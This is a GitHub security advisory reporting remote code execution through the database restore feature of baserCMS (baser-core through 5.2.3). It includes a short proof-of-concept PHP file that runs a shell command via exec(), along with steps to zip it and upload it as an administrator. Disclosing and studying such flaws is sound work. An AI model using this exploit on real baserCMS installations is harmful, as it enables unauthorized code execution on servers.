# GHSA-5HVM-279M-GG7R: Remote Code Execution via Database Restore Feature

- Database: GitHub
- Severity: CVSS 7.2 (High)
- Published: 2026-07-30
- Modified: 2026-07-30

## Affected versions

- baserproject/baser-core (Packagist): through 5.2.3

## Description

## Summary

https://github.com/baserproject/basercms/commit/15fa8f2faad788bb89e3f03334531391d32941fc

The `isValidSchemaFile` fix is insufficient to prevent RCE. Since the uploaded file is executed upon `require_once`, RCE succeeds regardless of whether the `drop`/`create` methods are overridden; omitting them merely raises an error.

## PoC

`rce.php`:

```php
<?php
$command = 'echo DATE=$(date +%Y-%m-%d_%H:%M:%S) UID=$(id -u) >> /tmp/rce.txt';
exec($command);

class aaa extends BcSchema {

}
```

```shell
zip ./rce.zip rce.php
```

Upload the archive via Utility -> Data Maintenance -> Restoring Data.

<img width="660" height="361" alt="Screenshot_20260404_090040" src="https://github.com/user-attachments/assets/976512e5-7cb5-4d4e-b807-d27b140faaf1" />

An error is displayed:

<img width="554" height="315" alt="Screenshot_20260404_090012" src="https://github.com/user-attachments/assets/ddbb6d64-4dc9-4f3b-99c3-7d9f8217b246" />

Nevertheless, the RCE has already executed.

---

Although administrator privileges are required, executing code through the database restore feature constitutes unintended behavior. The restore process should therefore operate on data rather than code, as this class of issue cannot be fully mitigated through validation alone.

## References

- https://github.com/baserproject/basercms/security/advisories/GHSA-5hvm-279m-gg7r

Page: https://cve.now/GHSA-5HVM-279M-GG7R
